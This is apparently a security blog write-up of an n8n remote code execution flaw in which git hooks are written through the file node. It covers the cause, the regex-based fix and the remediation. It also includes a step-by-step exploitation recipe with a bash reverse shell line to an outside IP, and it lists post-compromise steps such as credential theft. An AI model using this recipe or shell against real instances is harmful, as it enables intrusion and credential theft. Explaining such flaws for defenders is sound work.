n8n Automation RCE: When 'GitOps' Becomes 'GitPwned'

n8n is the 'fair-code' darling of the automation world. It’s like Zapier, but for people who like to self-host and write JavaScript. It’s powerful, flexible, and sits at the center of your stack, holding credentials for your databases, CRMs, and cloud providers. That makes it a high-value target. If you pop an n8n instance, you don't just get a server; you get the keys to the entire kingdom.

The vulnerability, CVE-2026-27498, is a classic case of "features gone wild." n8n is designed to read and write files. It is also designed to interact with Git repositories for version control. The problem? It didn't draw a line between "user data" and "system metadata." It let you treat the hidden .git directory just like any other folder. And as any red-teamer knows, if you can write to .git, you own the repo—and the machine running it.

The root cause here is Improper Control of Generation of Code (CWE-94), but let's call it what it really is: a logic flaw in file permission boundaries. The n8n node responsible for file I/O (ReadWriteFile) happily accepts paths provided by the user. While there are settings to restrict access to specific directories, the implementation failed to account for the danger of modifying internal version control structures.

Git is not just a storage format; it is an executable environment. It has hooks—shell scripts that run automatically when specific events happen (commits, pushes, checkouts). It has configuration files (.git/config) that can define external commands (like core.sshCommand).

The vulnerability is simple: n8n allowed a workflow to write a file named .git/hooks/post-checkout (or similar). The system didn't see this as a threat; it just saw a file write. But to the Git binary, that file is an executable instruction. The next time n8n performed a Git operation (which it does for its own version control features), Git effectively said, "Oh, a hook! I better execute this immediately."

The fix involved implementing a blacklist pattern to forbid access to sensitive paths. The developers introduced a new environment variable, N8N_BLOCK_FILE_PATTERNS, and enforced a check before any file write operation occurs.

Here is a reconstruction of the logic change based on commit 97365caf253978ba8e46d7bc53fa7ac3b6f67b32. They moved from a permissive model to a restrictive one regarding dot-files associated with git.

// THE VULNERABLE LOGIC (Conceptual)
// If the user has permission to write to /home/n8n, they can write anywhere inside it.
if (config.fileSystem.writeEnabled) {
  fs.writeFileSync(userPath, content);
}
 
// THE FIX (Conceptual)
// Explicitly checking for the .git directory pattern
const BLOCKED_PATTERNS = [ /^(.*\/)*\.git(\/.*)*$/ ];
 
function isFilePathBlocked(path) {
  const resolvedPath = fs.realpathSync(path);
  return BLOCKED_PATTERNS.some(pattern => pattern.test(resolvedPath));
}
 
if (isFilePathBlocked(userPath)) {
  throw new NodeOperationError(node, 'Access to this file path is restricted.');
}

> [!NOTE] > The fix relies on Regex. As we all know, Regex is the duct tape of security patches. While effective against standard paths, one must wonder about edge cases in path normalization on Windows systems vs Linux systems.

Exploiting this is trivially easy if you have access to the n8n UI. You don't need memory corruption or buffer overflows; you just need to build a workflow. Here is the recipe for disaster:

1. Create a Workflow: Add a "Manually Triggered" node.
2. Write the Payload: Add a "Read/Write Files from Disk" node.
   • Operation: Write File
   • File Name: /home/node/.n8n/git/workflow-repo/.git/hooks/post-commit (Adjust path to match the installation).
   • Content:

     #!/bin/bash
     bash -i >& /dev/tcp/10.0.0.1/1337 0>&1

3. Make it Executable: In a standard Linux environment, the write might not set +x, but .git/config modification requires no execution bits. Alternatively, overwrite HEAD to point to a malicious ref.
4. Trigger Execution: Add a "Git" node to the workflow that commits the changes you just made.
5. Profit: The moment the Git node runs git commit, your hook fires, and a reverse shell connects back to your listener.

This is a CVSS 9.0 for a reason. n8n is often deployed with access to internal networks, databases, and third-party APIs. It contains credentials—API keys, OAuth tokens, database passwords—stored in its encrypted credentials database.

An attacker with RCE on the n8n host can:

• Decrypt Credentials: Extract the encryption key from the environment variables and dump the credentials database.
• Lateral Movement: Use the n8n host as a pivot point to attack internal services that are otherwise unreachable from the internet.
• Supply Chain Attack: Modify workflows to inject malicious logic into business processes (e.g., "When a new customer is added, send a copy of their data to my server").

Because n8n allows executing arbitrary shell commands via the "Execute Command" node if enabled, many admins disable that node. This vulnerability bypasses that restriction entirely, proving that disabling the front door doesn't matter if the chimney is wide open.

The remediation is straightforward: Update immediately.

• Fixed Versions: 1.123.8 and 2.2.0.
• Configuration: If you cannot update, you can manually apply the blockade using the environment variable N8N_BLOCK_FILE_PATTERNS. Set it to ^(.*\/)*\.git(\/.*)*$.

However, the best defense is depth. Why does your automation tool need write access to the entire disk? Run n8n in a container with a read-only root filesystem, mounting only specific writable directories for data persistence. And for the love of security, do not run it as root.